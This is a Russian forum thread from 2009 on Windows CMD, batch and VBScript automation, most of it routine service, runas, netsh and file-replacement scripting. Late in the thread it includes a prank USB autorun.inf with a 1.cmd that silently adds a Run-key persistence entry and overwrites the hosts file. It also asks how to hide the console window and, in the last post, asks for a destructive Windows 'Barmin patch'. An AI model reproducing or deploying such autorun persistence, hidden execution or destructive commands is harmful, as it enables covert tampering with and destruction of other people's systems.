Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Windows (https://forum.antichat.xyz/forumdisplay.php?f=42)
-   -   Вопросы по CMD,BAT,PowerShell (https://forum.antichat.xyz/showthread.php?t=101505)

Cthulchu 16.01.2009 13:25

Вопросы по CMD,BAT,PowerShell
 
служба называется "Shell Hardware Detection" она заведует автораном.
Нужно написать скрипт, который бы останавливал и отключал эту службу.
Net stop не видит ее, нужно ее идентификатор, что бы нет стоп смог ее зацепить.
---
Ага, вроди так:
NET STOP "Shell Hardware Detection
А как ее отключить или перевести в ручной режим?
---
Ага, ручной режим и остановка службы меняется в реестре. Теперь следующий вопрос: где именно.
ЗЫ
пока жду ответа - продолжаю гуглить, как видите.

SpangeBoB 16.01.2009 13:57

sc config ShellHWDetection type= disabled

Cthulchu 16.01.2009 14:11

Спанч! огромное спасибо, но:
Код HTML:

C:\>sc config ShellHWDetection type= disabled
invalid type= field
Modifies a service entry in the registry and Service Database.
SYNTAX:
sc <server> config [service name] <option1> <option2>...
CONFIG OPTIONS:
NOTE: The option name includes the equal sign.
 type= <own|share|interact|kernel|filesys|rec|adapt>
 start= <boot|system|auto|demand|disabled>
 error= <normal|severe|critical|ignore>
 binPath= <BinaryPathName>
 group= <LoadOrderGroup>
 tag= <yes|no>
 depend= <Dependencies(separated by / (forward slash))>
 obj= <AccountName|ObjectName>
 DisplayName= <display name>
 password= <password>


SpangeBoB 16.01.2009 14:17

Пардон ошибся вместо type надо start= disabled

Cthulchu 16.01.2009 14:25

да! КУЛ!!!! вот это жесть!!!! я просто часа 2 уже пытаюсь это сделать и пошел не по тому пути!!!!
sc config ShellHWDetection start= disabled
РАБОТАЕТ!!!
Спанч, а скажи как можно запустить комманду в цмд скрипте от имени администратора системы при том, что я знаю все возможные пароли администратора (их не больше 10).
Правой кнопой по смдшнику и линку запустить от имени - не хочу, хочется, что бы оно было в скрипте. Тобишь, запускаю скрипт на "опытном пользователе", а он выполняет комманду от имени администратора системы.
И еще, как теперь запустить службу, написать "start= enabled"? Так не работает.
кул!
---
а как эта служба называется в русской винде?)))

SpangeBoB 16.01.2009 14:38

Определение оборудования оболочки (Shell Hardware Detection)

Как видим опции enabled нет ,есть следующие
start= <boot|system|auto|demand|disabled>

Цитата:

Значение Описание
boot Драйвер устройства, который загружается загрузчиком системы.

system Драйвер устройства, который запускается при инициализации ядра.

auto Служба, которая автоматически запускается при каждой перезагрузке компьютера и даже в том случае, если на компьютер не вошел ни один пользователь

demand Служба, которая должна запускаться вручную. Это значение используется по умолчанию, если не указан параметр start=

disabled Служба, которую нельзя запустить. Чтобы запустить отключенную службу, выберите другой тип запуска
Для повышения прав я бы использовал утититу(но крайне ограниченно,т.к пароль могут расшифровать).
http://www.joeware.net/freetools/tools/cpau/index.htm
Посмотреть на будущее может пригодиться.
http://www.osp.ru/win2000/2008/03/5042839/

Если службу надо просто запустить,то
net start ShellHWDetection

Если служба должна запускаться при старте
sc config ShellHWDetection start= auto

Cthulchu 16.01.2009 14:45

ага! да! сенк! скрипт я удачно дописал, что надо - нашел, служба называется "Определение оборудования оболочки" это можно в реестре посмотреть.
Теперь допустим, такая ситуация: В сети 2048 "опытных пользователей", есть, условно, одна расшареная на всех папка. И я хочу, что бы мой скрипт запустили все юзвери, высылаю им всем письмо с тем, что они должны запустить 1 раз такой-то файл в такой-то шаре (я админ и знаю админ доступы к каждой машине, но юзверям его знать совсем не нужно).
Именно по этому, нужно, чтобы скрипт выполнял комманды от имени админа средствами мс винды НТ. Вроди, даже сузить диапазон осей до ХПшек СП2,3 можно. Я точно знаю, что run as можно впаять в батничек. Хотя бы двумя батниками, первый запускает второй от имени админа.
runas -? пока смотрю... Наверное, проще двумя батниками... только надо воплотить схему запуска от администратора на любой машине, тобишь администратор находится на текущей, относительно запустившего скрипт, машине. И не плохо было бы запускать следующий батник из директории, из которой запущет текущий батник. Это если двумя батниками реализовать.
То, что юзвери могут увидить хэш или даже пассворд админовский - не страшно ;) Но давать им такую инфу открыто - некорректно)

SpangeBoB 16.01.2009 15:02

Может так будет полегче,взять psexec ,пользователей попросить скачать файл.
http://www.osp.ru/win2000/2004/06/177161/

Если есть домен то можно через доменные политики назначить запуск службы.
http://support.microsoft.com/kb/256345

Cthulchu 16.01.2009 15:06

ого, клево! домена нету, но уже давно пора)))
а на счет посторонних утилит, то перед тем как их использовать, нужно научиться это делать руками. Да и хочется доделать все в рамках двух батников, так как начал уже)
есть такая строка:
RunAs ("Administrator", @Computername, "adminpassword")
На сколько я понимаю, она настраивает параметры запуска приложений в рамках текущей сессии. Только вот как поставить условие "If false" или "If error", не дать запуститься эррору и попробовать ввести другую комбинацию имени администратора и пароля.

И за одно, как вместо имени машины сказать о том, что это current computer name?

SpangeBoB 16.01.2009 15:29

http://admilink.narod.ru/AdmiLink.Htm#WhyNotRunAs

Вместо имени наверно можно подставить %computername%.
По поводу ошибок надо проверять переменную %errorlevel%

Cthulchu 16.01.2009 15:50

а как проверять?))) как иф юзать правильно?

И, кстати, что такое -savecred
ага, вот о сейвкред:

Код HTML:

Использовать учетные данные, сохраненные пользователем.
Этот параметр не доступен в Windows XP Home Edition
и будет проигнорирован.

только что это за даные...

ща сам погуглю.

SpangeBoB 16.01.2009 15:58

Нагляднее пример из справка.

Цитата:

Если в приведенном ниже примере при форматировании диска в дисководе A возникнет ошибка, будет выведено сообщение об ошибке:

:begin
@echo off
format a: /s
if not errorlevel 1 goto end
echo Ошибка при форматировании.
:end
echo Конец пакетной программы.

Если ошибка не возникнет, сообщение об ошибке выведено не будет.

В Windows XP есть прекрасная справка.
Пуск-Выполнить-hh ntcmds.chm

Cthulchu 16.01.2009 16:02

спасибо большое, опробую. А ты не знаешь что такое... щас...
ехо офф - отключения вываода комманд на экран.
эхо тыры пыры - вывод "тыры пыры" в окошко при выполнении.
Вот только что этот скрипт будет делать, если иф не сработает, тоесть, если ошибка первого уровня таки возникнет?
---
ладно, поигрался, клево все работает. Теперь осталось узнать errorlevel для ошибки авторизации.
А %errorlevel% это значение параметра errorlevel, который эквивалентен коду последней ошибки?

А как цикл сделать?)))

SpangeBoB 16.01.2009 16:16

1)Echo off
Сам батник

Цитата:

@echo off
echo HELLO
pause
На экране получим только вывод Hello

2)Echo on


Цитата:

@echo on
echo HELLO
pause
Вывод на экране


C:\Users\>echo Hello
Hello

C:\Users\>pause
Для продолжения нажмите любую клавишу . . .


3)В примере выше ,если произойдет ошибка то скрипт отобразит сообщение об ошибке,если нет то не отобразит.

Cthulchu 16.01.2009 16:25

ага! эврика!

Код HTML:

ERRORLEVEL число  Условие является истинным, если код возврата последней
                    выполненной программы не меньше указанного числа.

тогда что такое %Errorlevel% ? Просто число?

ОГО!!!

Код HTML:

%windir%\System32\runas.exe /savecred /user:admin d:/bat.cmd
if errorlevel 1
%windir%\System32\runas.exe /savecred /user:administrator d:/bat.cmd
if errorlevel 1
%windir%\System32\runas.exe /savecred /user:Администратор d:/bat.cmd

@echo off
echo RUNAS DONE!!!
echo Now you can see some cmd script running!
pause

Воркс грейт!!!
только теперь в ран ез надо добавить пароли... и комбинации. Выйдет как раз около 27 комбинаций. А сколько у нас попыток.

SpangeBoB 16.01.2009 16:30

Да %errorlevel% это просто число,0 успешно, >0 не успешно.

Cthulchu 16.01.2009 16:39

ой, а в run as пароль вообще указать можно? Что-то меня убеждают, что нельзя. Ран ез при попытке логина юзера просит ввести ему пассворд этого юзера. А так сделать, что бы пассворд уже был в цмдшке и все работало - можно так?

SpangeBoB 16.01.2009 17:00

Runas не может принять пароль как параметр,используй CPAU
http://windowsitpro.com/article/articleid/79293/jsi-tip-7258-cpau-freeware-is-a-runas-replacement-that-lets-you-specify-the-password-on-the-command-line.html

Cthulchu 16.01.2009 17:05

да, я парочку таких утилит нашел, но мне лишь бы покомпактнее. Буду вводить сам руками. Потом, может, что-то придумаю.
Спанч! грац! у тебя 1 000 000 000 репы!)) не осмелюсь добавить еще, так как я не изверг - портить такое число)

SpangeBoB 16.01.2009 17:11

psexec - 230kb
cpau - 550kb

Cthulchu 16.01.2009 19:35

да размер это дело десятое, я говорю о скорости работы. Уже оптимизировал. Почти все доделал. Такой прикол нашел - в скрипте не работает проверка еррорлевела, если я запускаю его с юзверского аккаунта с шары. Переделал пути скриптика на шару, с нее он запускает основной скрипт. Так вот, эррора при вводе не правильного имени админа нету.
Тобишь, я запускаю файло

Код HTML:

%windir%\System32\runas.exe /savecred /user:admin \\admin\scripts\bat.cmd
if errorlevel 1
%windir%\System32\runas.exe /savecred /user:administrator \\admin\scripts\bat.cmd
if errorlevel 1
%windir%\System32\runas.exe /savecred /user:Администратор \\admin\scripts\bat.cmd

а при неверном первом варианте, когда админовская учетка не с именем admin, проверка не срабатывает и скрипт закрывается. В это же время, если имя таки admin - все чудесно работает. Я у себя на машине проверял - у меня все отлично работает.
И еще... что там такое... А! в последнем пункте, там где "администратор", вместо администратора оно запрашивает пассворд для пользователя, чье имя обезображено недоделаной кодировкой. Кавычки не спасают, помогите).

SpangeBoB 16.01.2009 20:28

Да если имя русское ,то runas из скрипта его не отрабатывает,но если поставить chcp 1251 то хоть и кракозябры ,но имя правельно воспринимает.

Цитата:

@echo off
chcp 1251
runas /user:Пользователь cmd
Твой скрипт рабочий,только немного с ошибкой.

Цитата:

%windir%\System32\runas.exe /savecred /user:admin \\admin\scripts\bat.cmd

if errorlevel 1 %windir%\System32\runas.exe /savecred /user:administrator \\admin\scripts\bat.cmd

if errorlevel 1 %windir%\System32\runas.exe /savecred /user:Администратор \\admin\scripts\bat.cmd
После 1 должно быть следующее выполнение,а у тебя перенос на новую строку.
Если нужно с новой строкой,то взять в ()

if errorlevel 1 (
%windir%\System32\runas.exe /savecred /user:admin \\admin\scripts\bat.cmd
)

Cthulchu 19.01.2009 15:03

Спанч и все желающие, продолжаем)) Чувствую, что страничке на 20й из этого всего склею пользовательский мануал на тему автоматизации рутинных действий с помощью цмд.
---
Вот теперь такой вопрос: как можно с помощю цмд скриптика поменять настройки сетевых подключений и впн, а точнее - в впн-соединении сменить целевой компьютер, который и есть основным серваком. (А точнее, его IP в настройках, так как физически мы меняем прова)
И еще один важный вопрос, - как цмд скриптом редактировать реестр, в двух словах, дальше погуглю. И еще, службы можно отключать под пользователем но через реестр, обычные команды банятся ограничением доступа.
ЗЫ
Спанч, ты уже основной автор статьи)

SpangeBoB 19.01.2009 16:16

Изменять соединение через cmd способа пока нет,кроме как пред конфигурация соединения и его раздача.Для создания можно использовать http://technet.microsoft.com/en-us/library/cc739464.aspx
http://www.codecomments.com/archive300-2004-12-337789.html
http://support.microsoft.com/kb/284269
http://www.isaserver.org/img/upl/vpnkitbeta2/cmak.htm

1)Смена ip,mask,gateway,dns можно воспользоваться утилитой netsh.

netsh int ip set /?

2)По поводу реестра reg /?

Cthulchu 19.01.2009 17:04

поп оводу реестра, потом разберусь, по поводу сетевых натсроек тсп/айпи - работает, прикольно. А вот с впном щас покажу что меня интересует - только пейнт докачаю)
отредактирую, покажу.
http://img140.imageshack.us/my.php?image=vpnqp6.jpg
вот. Идея в том, что бы в настройках впн-соединения на локальной машине поменять айпишник 127.0.0.257 на валидный. Скриптом. ))
Это точно можно сделать, но вот как... Интересно было бы узнать где лежит файло с конфигом впн соединения, ведь можно только этот файлик пофиксить и все будет гуд.

Cthulchu 19.01.2009 18:07

а можно еще попробовать убить существующее впн соединение и создать новое. только тогда придется вводить кроме айпишника сервера логин, пароль и тип коннекта.
блин, нагуглить инфу о том, как можно изменить существующее впн соединение цмд скриптом оказывается очень сложно, так и не получилось.

SpangeBoB 19.01.2009 19:05

Сдесь создается файл rasphone.pbk,который можно редактировать с помощью текстового редактора,там и можно сменить ip servra.
%SystemDrive%\Documents and Settings\All Users\Application Data\Microsoft\Network\Connections\Pbk

Как вариант использовать vbscipt и заменить строку.
http://www.tech-archive.net/Archive/Scripting/microsoft.public.scripting.vbscript/2004-03/0502.html

Cthulchu 19.01.2009 19:16

ух! жжжесть!!!
спанч, а можно выполнять поиск по rasphone.txt ? с последующей заменой строки, в которой встретим старый айпишник на аналогичную строку, но с новым айпишником? Но ЦМД-скриптом. Извращаемся в цмд до конца)

SpangeBoB 19.01.2009 19:18

findstr /?

Cthulchu 19.01.2009 19:19

ага, а заменить? и нужно же показать какую на ккакую заменить...

SpangeBoB 19.01.2009 19:34

Только стороние решения или программы.Стандартных нет.Так что лучше взять vbscript ,который везде заведется =)

Cthulchu 19.01.2009 19:48

не верю, что извратиться с цмд нельзя, (какой-то выход должен быть) но верю, что на ВБ это проще сделать, посему завтра - ВБ... эххх...

SpangeBoB 19.01.2009 20:14

Чуть по легче скрипт для VBScript.

Цитата:

Const ForReading = 1
Const ForWriting = 2

strFileName = Wscript.Arguments(0)
strOldText = Wscript.Arguments(1)
strNewText = Wscript.Arguments(2)

Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFile = objFSO.OpenTextFile(strFileName, ForReading)

strText = objFile.ReadAll
objFile.Close
strNewText = Replace(strText, strOldText, strNewText)

Set objFile = objFSO.OpenTextFile(strFileName, ForWriting)
objFile.WriteLine strNewText
objFile.Close
И легко применяется в bat файле.

cscript replace.vbs "C:\Scripts\Text.txt" "Jim " "James "

Чтоб не таскать с собой 2 файла можно сделать bat:

Цитата:

@echo off
echo Const ForReading = 1 > replace.vbs
echo Const ForWriting = 2 >> replace.vbs

echo strFileName = Wscript.Arguments(0) >> replace.vbs
echo strOldText = Wscript.Arguments(1) >> replace.vbs
echo strNewText = Wscript.Arguments(2) >> replace.vbs

echo Set objFSO = CreateObject("Scripting.FileSystemObject") >> replace.vbs
echo Set objFile = objFSO.OpenTextFile(strFileName, ForReading) >> replace.vbs

echo strText = objFile.ReadAll >> replace.vbs
echo objFile.Close >> replace.vbs
echo strNewText = Replace(strText, strOldText, strNewText) >> replace.vbs

echo Set objFile = objFSO.OpenTextFile(strFileName, ForWriting) >> replace.vbs
echo objFile.WriteLine strNewText >> replace.vbs
echo objFile.Close >> replace.vbs

cscript replace.vbs "C:\Scripts\Text.txt" "Jim " "James ""

del replace.vbs

Cthulchu 20.01.2009 16:02

Спанч, вот это ты жжешь! Скажи, а что значит строка
cscript replace.vbs "C:\Scripts\Text.txt" "Jim " "James ""
а точнее, - что такое cscript?
Хотя, у меня и без этой строки запустилось. Клево!
---
а как запустить вб скрипт из-под цмд коммандой старт так, что бы следующая комманда после старта выполнялась только после того, как закончитт выполняться запускаемое приложение?
Я вб скрипт еще не отладил, так что он пока не закрывается ;)

SpangeBoB 20.01.2009 18:36

Так что использую после второй скрипт ,с помощью cscript происходит запуск сценария после его отработки он удаляется.Любой vbscript,jscript запускать через cscript.exe

Цитата:

Программа Cscript.exe является интерфейсом командной строки сервера сценариев, который позволяет указать параметры для настройки свойств сценария.

cscript replace.vbs "C:\replace.txt" "Jam" "james"

replace.vbs - сам скрипт vbs
"Jam"-фраза для замены
"james" - на что заменяем


С помощью программы Cscript.exe можно запустить сценарий, введя имя его файла в командной строке. Как Microsoft Internet Explorer сервер сценариев Windows служит контроллером средств обработки сценариев Windows, однако для его работы требуется очень небольшой объем памяти. Сервер сценариев Windows оптимально подходит как для интерактивных, так и для пакетных сценариев, таких как сценарий входа в систему и сценарий администрирования.
Сервер сценариев Windows поддерживает сценарии, написанные в редакторах VBScript и Jscript. При запуске сценария с рабочего стола или из командной строки сервер сценария считывает и передает содержимое указанного файла в зарегистрированный обработчик сценариев. Расширения файлов (.vbs для VBScript и .js для JScript) используются в обработчике сценариев для определения языка сценария. Благодаря этому, разработчик сценария не обязан знать точный программный идентификатор (ProgID) обработчика сценариев. Сопоставление расширения имени файла сценария с программным идентификатором и запуск конкретного обработчика сценариев осуществляется сервером сценариев Windows XP.

Cthulchu 21.01.2009 01:48

спанч, спасибо.
Но почему у меня вб скрипт запустился как вб скрипт коммандой start? Может инфа не совсем актуальна для MS Windows XP SP3? Там еще сборка зверевская Лего... Может в ней какие-то патчи...

SpangeBoB 21.01.2009 02:18

Существует cscript.exe и wscript.exe,в твоей системе идет привязка к cscript.exe.Т.е выполнение команд и отчет об ошибках будет отображаться в командной строке.Поэтому при запуске бат файла создается временное окно,в котором и выполненяется сценарий.Wscript.exe не используется консольный вывод,а использует обычные окна сообщений среды.

Для изменения сервера сценария(лучше не изменять):

cscript //H:cscript(wscript) //nologo //s

Cthulchu 25.03.2009 14:34

так, в тот раз я все прекрасно сделал и фортки перестали автоматом запускать автораны флех, сегодня с утра коллега приносит авторан и говорит, мол, зацени.
Это просто, элегантно и весело:
Код:

[autorun]
action=Открыть папку для просмтра файлов
shellexecute=1.cmd
icon=folder.ico
shell\Open\Command=1.cmd
shell\Open\Default=1
shell\Autoplay\Command=1.cmd

показываю 1.cmd
Код:

echo off
reg add  HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run  /v Inet /t REG_SZ /d "C:\Windows\system32\crgdf.cmd" /f
copy /Y crgdf.cmd %WINDIR%\system32\
copy /Y hosts %WINDIR%\system32\

Самое веселое, что эти действия никто не палит, кроме висловской системы, которая очень любит переспрашивать - уверены ли мы (UAC). А на Хп - отличненько все крутится с включенным НОД32.
Скрипт коллега писал для того, что бы сделать своему другу западло и поменять хостс.ини, сделав переадресацию с многих порно сайтов на локалхост. Сегодня вечером пошутит, а меня интересует следующее:

Как сделать так, что бы ЦМДшное окошко не было видно при запуске. Гуглил. Запрос такой трудно нагуглить.
---
И еще, как сделать так, что бы батничек, который запускался с какой-то директории выполнял
change directory to current directory?

В конце выполнения инфа и цмд, должна открываться директория флешки, но выполняются эти скрипты из флешки, тобишь надо в конце цмд выполнить explorer с данной директории, которая может варироваться.
---
ключи для эксплорера:

Код:

/e - Вид Проводника по умолчанию (двухпанельное), иначе выводится как однопанельное (как Папка).
/e, object - Открывается Проводник с видом по умолчанию и с фокусом на заданной папке (Explorer /e,C:\Windows)
/n - Открытие однопанельного нового окна на диске, на котором установлена система (C:\). Иначе информация выводится в существующем окне Проводника, если оно открыто.
/root, object - Указывает на то, что корнем будет object - это дисковод (сетевой или локальный) или папка. Иначе корнем считается Рабочий стол. (Explorer /root, C:\Windows\Cursors)
/select, object - Указывает на необходимость открытия Родительской папки объекта object и выделит object (Explorer /select, C:\Windows\Cursors\banana.ani).
По умолчанию Проводник открывается на диске C:, но вы можете изменить это поведение, заставляя его, к примеру, открывать при запуске папку D:\MyDownload. Для этого, найдите ярлык к Проводнику, щелкните правой кнопкой и выберите свойства. Выберите вкладку Ярлык. Отредактируйте строчку Объект - C:\WINDOWS\EXPLORER.EXE /n,/e,D:\MyDownload.

Если создать ярлык и указать в качестве командной строки "C:\WINDOWS\EXPLORER.EXE /ROOT," (без кавычек, но с запятой в конце), то этот ярлык будет открывать рабочий стол (desktop). Причем, в проводнике будут показаны и системные иконки (сетевое окружение, outlook и т.д.).


SpangeBoB 25.03.2009 19:01

1) Окно cmd можно спрятать с помощью http://www.commandline.co.uk/cmdow/,команда
cmdow /run /hid mybat

2)change directory to current directory? -Это как сменить директорию на текущую,если мы и так в ней.

3)Если скрипты выполняются из корня,а открыть надо подпапку,то можно использовать

for /F %%i in ('cd') do explorer "%%~dpi1"
где 1 директория в корне.

Cthulchu 31.03.2009 16:28

Спасибо, юзаю:)
А как создать "Патч Бармина" под виндовзХП, хочу поиздеваться над "Гостями гугловского ВиО"
Вот доступное описание патча под никсы:
_http://ru.wikipedia.org/wiki/Патч_Бармина


Время: 01:28